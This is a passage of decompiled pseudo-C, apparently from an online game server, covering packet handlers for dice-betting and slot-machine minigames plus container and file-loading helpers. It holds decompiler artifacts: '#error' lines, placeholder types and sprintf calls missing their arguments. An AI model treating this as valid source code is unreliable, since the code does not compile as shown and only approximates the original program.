*v4; // esi@1 char *v5; // edi@1 int v6; // ebp@1 int v7; // eax@1 int v8; // eax@3 unsigned int v9; // eax@12 CGambleObject *v10; // eax@12 CGambleObject *v11; // ebx@12 int v12; // eax@15 unsigned __int16 v13; // ax@18 char v14; // al@19 int v15; // eax@20 int v16; // eax@21 char v17; // al@21 int v18; // eax@22 FunctionEntarance _; // [sp+2Ch] [bp-10h]@1 int v20; // [sp+38h] [bp-4h]@1 int netcmda; // [sp+40h] [bp+4h]@21 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_CANCEL_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_CANCEL_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_CANCEL_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17291; v6 = netcmd + 2; *((_WORD *)v5 + 1) = 9792; *((_WORD *)v5 + 2) = *(_WORD *)(netcmd + 10); v7 = *(_DWORD *)((char *)v4 + 98); v20 = 0; if ( !v7 ) { *((_WORD *)v5 + 1) = 9793; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_4: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); v20 = -1; LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_CANCEL_REQ"); return; } goto LABEL_10; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) == 1 ) { *((_WORD *)v5 + 1) = 9794; goto LABEL_9; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 2936))(v4, 1) ) { *((_WORD *)v5 + 1) = 9796; LABEL_9: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_4; } LABEL_10: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_CANCEL_REQ : Packet Too Long", 6); v20 = -1; goto LABEL_17; } v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v10 = CGambleObjectManager::gom_FindGambleObject(&gGambleObjectManager, v9, GBT_DICETAISAI); v11 = v10; if ( !v10 ) { *((_WORD *)v5 + 1) = 9796; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v12 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_CANCEL_REQ : Packet Too Long", 6); } v20 = -1; goto LABEL_17; } v13 = v10->vfptr->GDTSO_DiceTaiSai_CanBettingCancel(v10, (#593 *)v4, (DiceTaiSaiBetting *)v6); if ( v13 == 9792 ) { v16 = v11->vfptr->GDTSO_DiceTaiSai_BettingCancel(v11, (#593 *)v4, (DiceTaiSaiBetting *)v6); *((_WORD *)v5 + 1) = v16; netcmda = v16; v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_CANCEL_REQ : Packet Too Long", 6) ) { v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v18 + 12))(v18, v4, &gpp); } if ( (_WORD)netcmda == 9792 ) { v11->vfptr->GDTSO_DiceTaiSai_BroadSetTimer(v11, (DiceTaiSaiBetting *)v6, DTBT_BETTING_CANCEL); v11->vfptr->GDTSO_DiceTaiSai_BroadBettingCancel(v11, (#593 *)v4, (DiceTaiSaiBetting *)v6); } } else { *((_WORD *)v5 + 1) = v13; v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_CANCEL_REQ : Packet Too Long", 6) ) { v15 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v4, &gpp); } } v20 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (005CEC70) -------------------------------------------------------- #error "5CEC70: undefined or illegal type '#593' (funcsize=108)" //----- (005CEDF0) -------------------------------------------------------- #error "5CEDF0: undefined or illegal type '#593' (funcsize=131)" //----- (005CEFB0) -------------------------------------------------------- void __thiscall GppPacketSaver::_GppPacketSaver(GppPacketSaver *this) { memcpy(gpp.pp_Buffer, this, 0x2000u); } //----- (005CEFD0) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineScreen::SlotMachineScreen(SlotMachine::SlotMachineScreen *this) { SlotMachine::SlotMachineScreen *v1; // esi@1 v1 = this; CGambleObject::CGambleObject(&this->baseclass_0); v1->baseclass_0.vfptr = (CGambleObjectVtbl *)&SlotMachine::SlotMachineScreen::_vftable_; v1->sms_WaitTick = 0; } // 684778: using guessed type int (__thiscall *SlotMachine__SlotMachineScreen___vftable_)(CGambleObject *this, #593 *pEntPlayer); //----- (005CEFF0) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineScreen::_SlotMachineScreen(SlotMachine::SlotMachineScreen *this) { this->baseclass_0.vfptr = (CGambleObjectVtbl *)&SlotMachine::SlotMachineScreen::_vftable_; CGambleObject::_CGambleObject(&this->baseclass_0); } // 684778: using guessed type int (__thiscall *SlotMachine__SlotMachineScreen___vftable_)(CGambleObject *this, #593 *pEntPlayer); //----- (005CF000) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineCluster::SlotMachineCluster(SlotMachine::SlotMachineCluster *this) { SlotMachine::SlotMachineCluster *v1; // esi@1 v1 = this; CGambleObject::CGambleObject(&this->baseclass_0); v1->baseclass_0.vfptr = (CGambleObjectVtbl *)SlotMachine::SlotMachineCluster::_vftable_; _eh_vector_constructor_iterator_( v1->smc_Screens, 0x50u, 2, (void (__thiscall *)(void *))SlotMachine::SlotMachineScreen::SlotMachineScreen, (void (__thiscall *)(void *))SlotMachine::SlotMachineScreen::_SlotMachineScreen); } // 684870: using guessed type int (__thiscall *SlotMachine__SlotMachineCluster___vftable_[3])(CGambleObject *this, #593 *pEntPlayer); //----- (005CF0C0) -------------------------------------------------------- char __thiscall SlotMachine::SlotMachineCluster::go_Init(SlotMachine::SlotMachineCluster *this, #593 *pGambleNPC) { CGambleObject *v2; // esi@1 char result; // al@4 signed int v4; // edi@5 int v5; // esi@5 v2 = (CGambleObject *)this; if ( CGambleObject::go_Init_NpcObject(&this->baseclass_0, pGambleNPC) && CGambleObject::go_Init_nWhoStandHnd(v2, 2) && v2->vfptr->go_Init_MaxPlayer(v2, 2) ) { v4 = 0; v5 = (int)&v2[1]; while ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v5 + 8))(v5, pGambleNPC) ) { ++v4; v5 += 80; if ( v4 >= 2 ) return 1; } result = 0; } else { result = 0; } return result; } //----- (005CF130) -------------------------------------------------------- char __thiscall CQuest::GetQuestPlayerGender(CQuest *this) { return 0; } //----- (005CF140) -------------------------------------------------------- char *__cdecl ShineObjectClass::ShineObject::so_ply_GodOfSlotMachine() { tmp[0] = 0; return tmp; } //----- (005CF150) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GodOfSlotMachine(void *this) { return (int)((char *)this + 143874); } //----- (005CF160) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 36; return result; } //----- (005CF180) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 5; return result; } //----- (005CF1A0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 3; return result; } //----- (005CF1C0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (005CF1E0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (005CF200) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 15) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 15) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 15); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 15); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (005CF260) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 7u, 6u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005CF320) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x12u, 5u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005CF3D0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x10u, 4u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005CF480) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1Au, 5u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005CF530) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1Bu, 0xCu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005CF5E0) -------------------------------------------------------- void __cdecl std::fill(char *_First, char *_Last, const char *_Val) { char *i; // eax@1 for ( i = _First; i != _Last; ++i ) *i = *_Val; } //----- (005CF600) -------------------------------------------------------- void __cdecl std::fill(GBSMAll *_First, GBSMAll *_Last, GBSMAll *_Val) { GBSMAll *i; // eax@1 GBSMAll *v4; // edi@2 for ( i = _First; i != _Last; v4->GBSM_IsJP = _Val->GBSM_IsJP ) { v4 = i; *(_DWORD *)&i->GBSM_GroupID = *(_DWORD *)&_Val->GBSM_GroupID; ++i; } } //----- (005CF630) -------------------------------------------------------- void __cdecl std::fill(GBSMCenter *_First, GBSMCenter *_Last, GBSMCenter *_Val) { GBSMCenter *i; // eax@1 GBSMCenter *v4; // edi@2 for ( i = _First; i != _Last; HIBYTE(v4->GBSM_RatioCenter) = HIBYTE(_Val->GBSM_RatioCenter) ) { v4 = i; *(_WORD *)&i->GBSM_GroupID = *(_WORD *)&_Val->GBSM_GroupID; ++i; } } //----- (005CF660) -------------------------------------------------------- void __cdecl std::fill(SLOTMACHINE_JackPotRank *_First, SLOTMACHINE_JackPotRank *_Last, SLOTMACHINE_JackPotRank *_Val) { SLOTMACHINE_JackPotRank *i; // eax@1 for ( i = _First; i != _Last; ++i ) { *(_QWORD *)&i->name.n4_name[0] = *(_QWORD *)&_Val->name.n4_name[0]; *(_QWORD *)&i->name.n4_name[8] = *(_QWORD *)&_Val->name.n4_name[8]; i->money = _Val->money; } } //----- (005CF6A0) -------------------------------------------------------- SlotMachine::SlotMachineScreenManager::NPCvsBetType *__cdecl std::_Copy_backward_opt(SlotMachine::SlotMachineScreenManager::NPCvsBetType *_First, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Last, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { SlotMachine::SlotMachineScreenManager::NPCvsBetType *v4; // ecx@1 SlotMachine::SlotMachineScreenManager::NPCvsBetType *result; // eax@1 int v6; // esi@2 v4 = _Last; for ( result = _Dest; v4 != _First; result->betype = v4->betype ) { v6 = *(_DWORD *)&v4[-1].NPC.n8_name[0]; --v4; --result; *(_DWORD *)&result->NPC.n8_name[0] = v6; *(_DWORD *)&result->NPC.n8_name[4] = *(_DWORD *)&v4->NPC.n8_name[4]; *(_DWORD *)&result->NPC.n8_name[8] = *(_DWORD *)&v4->NPC.n8_name[8]; *(_DWORD *)&result->NPC.n8_name[12] = *(_DWORD *)&v4->NPC.n8_name[12]; *(_DWORD *)&result->NPC.n8_name[16] = *(_DWORD *)&v4->NPC.n8_name[16]; *(_DWORD *)&result->NPC.n8_name[20] = *(_DWORD *)&v4->NPC.n8_name[20]; *(_DWORD *)&result->NPC.n8_name[24] = *(_DWORD *)&v4->NPC.n8_name[24]; *(_DWORD *)&result->NPC.n8_name[28] = *(_DWORD *)&v4->NPC.n8_name[28]; } return result; } //----- (005CF700) -------------------------------------------------------- SLOTMACHINE_JackPotRank *__cdecl std::_Copy_opt(SLOTMACHINE_JackPotRank *_First, SLOTMACHINE_JackPotRank *_Last, SLOTMACHINE_JackPotRank *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { SLOTMACHINE_JackPotRank *v4; // ecx@1 SLOTMACHINE_JackPotRank *result; // eax@1 v4 = _First; for ( result = _Dest; v4 != _Last; ++result ) { *(_DWORD *)&result->name.n4_name[0] = *(_DWORD *)&v4->name.n4_name[0]; *(_DWORD *)&result->name.n4_name[4] = *(_DWORD *)&v4->name.n4_name[4]; *(_DWORD *)&result->name.n4_name[8] = *(_DWORD *)&v4->name.n4_name[8]; *(_DWORD *)&result->name.n4_name[12] = *(_DWORD *)&v4->name.n4_name[12]; result->money = v4->money; ++v4; } return result; } //----- (005CF740) -------------------------------------------------------- SLOTMACHINE_JackPotRank *__cdecl std::_Copy_backward_opt(SLOTMACHINE_JackPotRank *_First, SLOTMACHINE_JackPotRank *_Last, SLOTMACHINE_JackPotRank *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { SLOTMACHINE_JackPotRank *v4; // ecx@1 SLOTMACHINE_JackPotRank *result; // eax@1 int v6; // esi@2 v4 = _Last; for ( result = _Dest; v4 != _First; result->money = v4->money ) { v6 = *(_DWORD *)&v4[-1].name.n4_name[0]; --v4; --result; *(_DWORD *)&result->name.n4_name[0] = v6; *(_DWORD *)&result->name.n4_name[4] = *(_DWORD *)&v4->name.n4_name[4]; *(_DWORD *)&result->name.n4_name[8] = *(_DWORD *)&v4->name.n4_name[8]; *(_DWORD *)&result->name.n4_name[12] = *(_DWORD *)&v4->name.n4_name[12]; } return result; } //----- (005CF780) -------------------------------------------------------- void __cdecl std::swap(SLOTMACHINE_JackPotRank *_Left, SLOTMACHINE_JackPotRank *_Right) { int v2; // edx@1 int v3; // esi@1 int v4; // edi@1 int v5; // ebx@1 unsigned int v6; // ecx@1 unsigned int v7; // ecx@1 int v8; // [sp+10h] [bp-18h]@1 unsigned int v9; // [sp+20h] [bp-8h]@1 unsigned int v10; // [sp+24h] [bp-4h]@1 v2 = *(_DWORD *)&_Left->name.n4_name[0]; v3 = *(_DWORD *)&_Left->name.n4_name[4]; v4 = *(_DWORD *)&_Left->name.n4_name[8]; v5 = *(_DWORD *)&_Left->name.n4_name[12]; v9 = _Left->money; v10 = (unsigned int)&v8 ^ __security_cookie; *(_QWORD *)&_Left->name.n4_name[0] = *(_QWORD *)&_Right->name.n4_name[0]; *(_QWORD *)&_Left->name.n4_name[8] = *(_QWORD *)&_Right->name.n4_name[8]; _Left->money = _Right->money; v6 = v9; *(_DWORD *)&_Right->name.n4_name[8] = v4; *(_DWORD *)&_Right->name.n4_name[4] = v3; _Right->money = v6; v7 = v10; *(_DWORD *)&_Right->name.n4_name[12] = v5; *(_DWORD *)&_Right->name.n4_name[0] = v2; __security_check_cookie((unsigned int)&v8 ^ v7); } //----- (005CF7F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_JOIN_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 char *v5; // edi@1 int v6; // eax@1 int v7; // eax@3 ORErrorMessage *v8; // eax@10 ORErrorMessage *v9; // ebx@10 int v10; // eax@13 int v11; // eax@16 char v12; // al@21 int v13; // eax@22 char v14; // al@24 int v15; // eax@25 char v16; // al@28 int v17; // eax@29 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v19; // [sp+20h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_JOIN_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_JOIN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_JOIN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17207; *((_WORD *)v5 + 2) = 10432; v6 = *(_DWORD *)(v4 + 98); v19 = 0; if ( !v6 ) { *((_WORD *)v5 + 2) = 10434; goto LABEL_8; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(v4 + 57880) + 20))(v4 + 57880) == 1 ) { *((_WORD *)v5 + 2) = 10435; goto LABEL_8; } if ( !(unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 2932))(v4, 2) ) { *((_WORD *)v5 + 2) = 10433; LABEL_8: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); v19 = -1; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_JOIN_REQ : Packet Too Long", 6); v19 = -1; } LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_JOIN_REQ"); return; } v8 = (ORErrorMessage *)CGambleObjectManager::gom_GetGambleObject(&gGambleObjectManager, *(_WORD *)(netcmd + 2)); v9 = v8; if ( !v8 ) { *((_WORD *)v5 + 2) = 10436; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_JOIN_REQ : Packet Too Long", 6); } v19 = -1; goto LABEL_15; } v11 = (int)LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber(v8); if ( !v11 ) { *((_WORD *)v5 + 2) = 10436; goto LABEL_28; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v11) > 0xF4240 ) { *((_WORD *)v5 + 2) = 10437; goto LABEL_28; } if ( !(unsigned __int8)(*(int (__thiscall **)(ORErrorMessage *))(v9->orem_Line + 16))(v9) ) { *((_WORD *)v5 + 2) = 10438; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_JOIN_REQ : Packet Too Long", 6) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } goto LABEL_31; } if ( !(unsigned __int8)(*(int (__thiscall **)(ORErrorMessage *, _DWORD))(v9->orem_Line + 24))( v9, *(_BYTE *)(netcmd + 4)) ) { *((_WORD *)v5 + 2) = 10439; v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_JOIN_REQ : Packet Too Long", 6) ) { v15 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v4, &gpp); } goto LABEL_31; } if ( !(unsigned __int8)(*(int (__thiscall **)(ORErrorMessage *, int))v9->orem_Line)(v9, v4) ) { (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 2944))(v4, 0); *((_WORD *)v5 + 2) = 10433; LABEL_28: v16 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v16, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_JOIN_REQ : Packet Too Long", 6) ) { v17 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v17 + 12))(v17, v4, &gpp); } goto LABEL_31; } (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 2944))(v4, 2); ShineObjectClass::ShinePlayer::sp_Gamble_DirectInfoBroadcastSet(v4, *(_BYTE *)(netcmd + 5)); (*(void (__thiscall **)(ORErrorMessage *, int))(v9->orem_Line + 36))(v9, v4); LABEL_31: v19 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (005CFB00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_LEAVE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 int v6; // eax@10 unsigned int v7; // eax@11 CGambleObject *v8; // ebx@11 int v9; // eax@14 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_LEAVE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_LEAVE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17205; *((_WORD *)v5 + 1) = 10440; if ( !*(_DWORD *)((char *)v4 + 98) ) { *((_WORD *)v5 + 1) = 10441; goto LABEL_3; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) != 1 ) { if ( !(unsigned __int8)(*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 2936))(v4, 2) ) { *((_WORD *)v5 + 1) = 10443; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SLOTMACHINE_GAME_LEAVE_REQ : Packet Too Long", 4); goto LABEL_18; } LABEL_10: v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); goto LABEL_18; } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v8 = CGambleObjectManager::gom_FindGambleObject(&gGambleObjectManager, v7, GBT_SLOTMACHINE); if ( v8 ) { (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 2944))(v4, 0); v8->vfptr->go_Out_Player(v8, (#593 *)v4); *(_WORD *)v5 = -17205; *((_WORD *)v5 + 1) = 10440; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) goto LABEL_13; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); } else { *((_WORD *)v5 + 1) = 10443; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { LABEL_13: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SLOTMACHINE_GAME_LEAVE_REQ : Packet Too Long", 4); goto LABEL_18; } v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); } (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v4, &gpp); goto LABEL_18; } *((_WORD *)v5 + 1) = 10442; LABEL_3: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) goto LABEL_10; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_LEAVE_REQ : Packet Too Long", 4); LABEL_18: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, 